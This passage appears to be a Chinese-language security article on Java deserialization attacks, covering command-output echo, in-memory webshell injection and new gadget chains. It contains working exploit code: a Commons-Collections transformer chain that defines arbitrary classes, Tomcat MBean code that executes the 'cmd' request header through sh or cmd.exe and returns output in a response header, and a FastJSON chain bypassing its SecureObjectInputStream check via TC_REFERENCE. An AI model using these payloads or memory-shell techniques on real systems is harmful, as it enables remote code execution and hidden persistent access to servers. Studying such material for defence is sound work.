        Transformer[] transformers = new Transformer[]{new ConstantTransformer(MethodHandles.class),new InvokerTransformer("getDeclaredMethod", new               Class[]{String.class, Class[].class}, new Object[]{"lookup", new            Class[0]}),new InvokerTransformer("invoke", new Class[]            {Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("defineClass", new Class[]            {byte[].class}, new Object[]{data}),new InstantiateTransformer(new Class[0], new            Object[0]),new ConstantTransformer(1)        };        Transformer transformerChain = new ChainedTransformer(new                Transformer[]{new ConstantTransformer(1)});

• 命令执行结果回显

Ysoserial的Gadgets.createTemplatesImpl虽然可以实现命令执行，但攻击者无法直接获取命令执行的结果。在修改ysoserial能执行任意代码后，在实现代码执行的基础上，大家进一步研究了反序列化攻击时如何回显命令执行的结果。

由于反序列化和JSP不一样，上下文中没有当前的request、response，所以最开始的反序列化命令执行回显思路是，通过反序列化代码执行获取到当前请求的request、response，然后将命令执行的结果通过response输出到页面中。

从此出现了各种寻找当前req、res的方式，最开始常用的方法有从mbean等其他地方中获取，

        try{            javax.management.MBeanServer mbeanServer = org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();            java.lang.reflect.Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");            field.setAccessible(true);            Object obj = field.get(mbeanServer);            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");            field.setAccessible(true);            obj = field.get(obj);            field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");            field.setAccessible(true);            java.util.HashMap obj2 = (java.util.HashMap)field.get(obj);            java.util.Iterator iter;            if(obj2.get("Tomcat") == null){                iter = ((java.util.HashMap) obj2.get("Catalina")).entrySet().iterator();            }else {                iter = ((java.util.HashMap) obj2.get("Tomcat")).entrySet().iterator();            }            while (iter.hasNext()) {                java.util.Map.Entry entry = (java.util.Map.Entry) iter.next();                Object key = entry.getKey();                obj = entry.getValue();                if (key.toString().endsWith("type=GlobalRequestProcessor") && key.toString().startsWith("name=\"http-")) {                    break;                }            }            field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");            field.setAccessible(true);            obj = field.get(obj);            field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");            field.setAccessible(true);            obj = field.get(obj);            field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");            field.setAccessible(true);            java.util.ArrayList obj3 = (java.util.ArrayList)field.get(obj);            field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");            field.setAccessible(true);            boolean isLinux = true;            String osTyp = System.getProperty("os.name");            if (osTyp != null && osTyp.toLowerCase().contains("win")) {                isLinux = false;            }            for (int i = 0; i < obj3.size(); i++) {                org.apache.coyote.Request obj4 = (org.apache.coyote.Request) field.get(obj3.get(i));                String username = obj4.getHeader("cmd");                if(username != null){                    String[] cmds = isLinux ? new String[]{"sh", "-c", username} : new String[]{"cmd.exe", "/c",  username};                    java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                    java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");                    String output = "";                    while (s.hasNext()){                        output += s.next();                    }                    byte[] buf = output.getBytes();                    org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();                    bc.setBytes(buf, 0, buf.length);                    obj4.getResponse().setHeader("xxxx",output);                    break;                }            }        } catch (Exception e){        }

tomcat在mbean中能获取到所有的request，然后遍历所有的request查看哪个request有设置cmd请求头即是我们的请求，然后再通过request获取到response，将命令执行的结果进行回显。

通过反序列化执行如上代码，即可将命令结果回显到response中。

• 内存马植入

在最开始内存马的出现主要是为了解决权限维持的问题，不过随着Spring Boot这类Fat JAR应用的普及，传统的Webshell落地方式已难以实现，单纯依赖命令执行回显的技术手段在横向渗透过程中已无法满足需求，这也推动了内存马技术的日益流行。

首先简单了解一下内存马的原理，Java内存马是一种驻留在内存中的恶意程序，其核心原理是通过篡改或动态注册中间件组件的执行逻辑，实现无文件化的持久化攻击。利用Java应用运行时的动态特性，将恶意代码注入到中间件管理的组件中，从而规避常规文件检测机制。

通过能够执行代码的漏洞，随后利用中间件的API动态注册恶意组件。在Servlet容器中，攻击者可能通过ServletContext动态添加一个恶意Filter或Servlet；在Spring框架中，则可能通过RequestMappingHandlerMapping注册恶意控制器。将内存马逻辑加入到这些恶意组件中，攻击者请求指定的地址就能触发内存马逻辑。

反序列化植入内存马最需要解决的问题依然是和命令执行回显类似，由于上下文中并没有StandardContext所以需要通过代码执行去其他地方拿到StandardContext。

在最开始，大家都还是依然从mbean或者threadlocal里面获取Context，但是会遇到适配问题，每个版本可能都存在差异，导致内存马的注入器不通用。为了解决这个问题，后续开始遍历Thread.currentThread来搜索Context，这样的好处就是不用写死Context所处的位置能够适配更多的环境、版本，只需要写好搜索代码，搜索到了Context就结束，然后对这个Context动态添加恶意组件。

JMG是目前最常用的内存马注入工具https://github.com/pen4uin/java-memshell-generator，它将内存马的注入主要分为了注入器和内存马的逻辑。注入器的作用就是获取到当前环境的context以及动态的添加内存马，JMG内置了大量的注入器模板，每个中间件及其对应的组件类型都提供了一个模板 https://github.com/pen4uin/java-memshell-generator/tree/main/jmg-core/src/main/java/jmg/core/template，

这些注入器获取Context的方法既有从thread搜索的，也有固定位置的。

在通过反序列化植入内存马时，可以先通过JMG生成注入器（内存马已经包含在了里面）的字节码。

然后通过反序列化执行生成的注入器代码，反序列化触发后执行完代码内存马就植入到了目标Context中。

• 新利用链

ysoserial 中已有大量利用链（https://github.com/frohoff/ysoserial/tree/master/src/main/java/ysoserial/payloads），而近年来，有越来越多的新利用链被发现，反序列化实现RCE的成功率也逐渐提高。下面列举几个目前用得比较多的，但ysoserial没有内置的。

• FASTJSON

在FastJSON <= 1.2.48版本时，

com.alibaba.fastjson.JSON#toString

public String toString() {    return this.toJSONString();}，

toString是在反序列化中很常用的一个入口方法，toString方法中调用了toJSONString方法，

public String toJSONString() {    SerializeWriter out = new SerializeWriter();    String var2;    try {        (new JSONSerializer(out)).write(this);        var2 = out.toString();    } finally {        out.close();    }    return var2;}

toJSONString会触发序列化然后返回序列化的字符串，序列化一般是会触发getter方法的，最终再次通过Templatesimpl实现利用。

在FastJSON > 1.2.48后，

com.alibaba.fastjson.JSONArray 和 com.alibaba.fastjson.JSONObject 中的readObject方法，

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {    JSONObject.SecureObjectInputStream.ensureFields();    if (JSONObject.SecureObjectInputStream.fields != null && !JSONObject.SecureObjectInputStream.fields_error) {        ObjectInputStream secIn = new SecureObjectInputStream(in);        try {            ((ObjectInputStream)secIn).defaultReadObject();            return;        } catch (NotActiveException var6) {        }    }    in.defaultReadObject();    Iterator var7 = this.map.entrySet().iterator();    while(var7.hasNext()) {        Map.Entry entry = (Map.Entry)var7.next();        Object key = entry.getKey();        if (key != null) {            ParserConfig.global.checkAutoType(key.getClass());        }        Object value = entry.getValue();        if (value != null) {            ParserConfig.global.checkAutoType(value.getClass());        }    }}static class SecureObjectInputStream extends ObjectInputStream {    static Field[] fields;    static volatile boolean fields_error;    static void ensureFields() {        if (fields == null && !fields_error) {            try {                Field[] declaredFields = ObjectInputStream.class.getDeclaredFields();                String[] fieldnames = new String[]{"bin", "passHandle", "handles", "curContext"};                Field[] array = new Field[fieldnames.length];                for(int i = 0; i < fieldnames.length; ++i) {                    Field field = TypeUtils.getField(ObjectInputStream.class, fieldnames[i], declaredFields);                    field.setAccessible(true);                    array[i] = field;                }                fields = array;            } catch (Throwable var5) {                fields_error = true;            }        }    }    public SecureObjectInputStream(ObjectInputStream in) throws IOException {        super(in);        try {            for(int i = 0; i < fields.length; ++i) {                Field field = fields[i];                Object value = field.get(in);                field.set(this, value);            }        } catch (IllegalAccessException var5) {            fields_error = true;        }    }    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {        String name = desc.getName();        if (name.length() > 2) {            int index = name.lastIndexOf(91);            if (index != -1) {                name = name.substring(index + 1);            }            if (name.length() > 2 && name.charAt(0) == 'L' && name.charAt(name.length() - 1) == ';') {                name = name.substring(1, name.length() - 1);            }            if (TypeUtils.getClassFromMapping(name) == null) {                ParserConfig.global.checkAutoType(name, (Class)null, Feature.SupportAutoType.mask);            }        }        return super.resolveClass(desc);    }    protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {        String[] var2 = interfaces;        int var3 = interfaces.length;        for(int var4 = 0; var4 < var3; ++var4) {            String interfacename = var2[var4];            if (TypeUtils.getClassFromMapping(interfacename) == null) {                ParserConfig.global.checkAutoType(interfacename, (Class)null);            }        }        return super.resolveProxyClass(interfaces);    }    protected void readStreamHeader() throws IOException, StreamCorruptedException {    }}

高版本对反序列化的类存在了限制，通过SecureObjectInputStream的resolveclass方法限制了jsonarray或者Jsonobject中的map属性类型必须为autotype允许的。

但是这样存在一个问题，只有在反序列化jsonobject或者jsonarray的时候才可能会触发到这个resolveclass限制（作为一个组件开发者也只能做到这种）。

在java.io.ObjectInputStream中，

private ObjectStreamClass readClassDesc(boolean unshared)    throws IOException{    byte tc = bin.peekByte();    ObjectStreamClass descriptor;    switch (tc) {        case TC_NULL:            descriptor = (ObjectStreamClass) readNull();            break;        case TC_REFERENCE:            descriptor = (ObjectStreamClass) readHandle(unshared);            break;        case TC_PROXYCLASSDESC:            descriptor = readProxyDesc(unshared);            break;        case TC_CLASSDESC:            descriptor = readNonProxyDesc(unshared);            break;

TC CLASSDESC分支中，会调用resolveClass方法，触发到SecureObjectInputStream的resolveClass方法。

private ObjectStreamClass readNonProxyDesc(boolean unshared)    throws IOException{    if (bin.readByte() != TC_CLASSDESC) {        throw new InternalError();    }    ObjectStreamClass desc = new ObjectStreamClass();    int descHandle = handles.assign(unshared ? unsharedMarker : desc);    passHandle = NULL_HANDLE;    ObjectStreamClass readDesc = null;    try {        readDesc = readClassDescriptor();    } catch (ClassNotFoundException ex) {        throw (IOException) new InvalidClassException(            "failed to read class descriptor").initCause(ex);    }    Class<?> cl = null;    ClassNotFoundException resolveEx = null;    bin.setBlockDataMode(true);    final boolean checksRequired = isCustomSubclass();    try {        if ((cl = resolveClass(readDesc)) == null) {            resolveEx = new ClassNotFoundException("null class");        } else if (checksRequired) {            ReflectUtil.checkPackageAccess(cl);        }    } catch (ClassNotFoundException ex) {

java.io.ObjectInputStream#readObject0

switch (tc) {                case TC_NULL:                    return readNull();                case TC_REFERENCE:                    return readHandle(unshared);                case TC_CLASS:                    return readClass(unshared);                case TC_CLASSDESC:                case TC_PROXYCLASSDESC:                    return readClassDesc(unshared);                case TC_STRING:                case TC_LONGSTRING:                    return checkResolve(readString(unshared));                case TC_ARRAY:                    return checkResolve(readArray(unshared));                case TC_ENUM:                    return checkResolve(readEnum(unshared));                case TC_OBJECT:                    return checkResolve(readOrdinaryObject(unshared));                case TC_EXCEPTION:                    IOException ex = readFatalException();                    throw new WriteAbortedException("writing aborted", ex);                case TC_BLOCKDATA:

在反序列化时，readClass最终也会调用到readClassDesc，所以排除STRING、LONGSTRING后，基本只有TC_REFERENCE可用。

在Java反序列化中，TC_REFERENCE是序列化协议中用于表示对象引用的特殊标记。当序列化流中存在多个引用指向同一对象时，TC_REFERENCE会通过关联已分配的唯一句柄（Handle）来避免重复序列化，确保反序列化时重建的对象引用关系与原对象图一致，这种机制在正常场景下优化了序列化效率。

利用引用的特效，先在其他地方反序列化出来一个templatesimpl，最后jsonarray中再次反序列化同一个templatesimpl的时候就会触发引用，这时候就不会重复反序列化就不会触发到resolveClass，实现了绕过。

最后的利用如下：

@Overridepublic Object getObject(String command) throws Exception {    HashMap<Object, Object> hashMap = new HashMap();    Object templates = Gadgets.createTemplatesImpl(command);    BadAttributeValueExpException val = new BadAttributeValueExpException(null);    Field valfield = val.getClass().getDeclaredField("val");    Reflections.setAccessible(valfield);    ArrayList arrayList = new ArrayList();    arrayList.add(templates);    JSONArray jsonArray = new JSONArray(arrayList);    valfield.set(val, jsonArray);    hashMap.put(templates, val);    return hashMap;}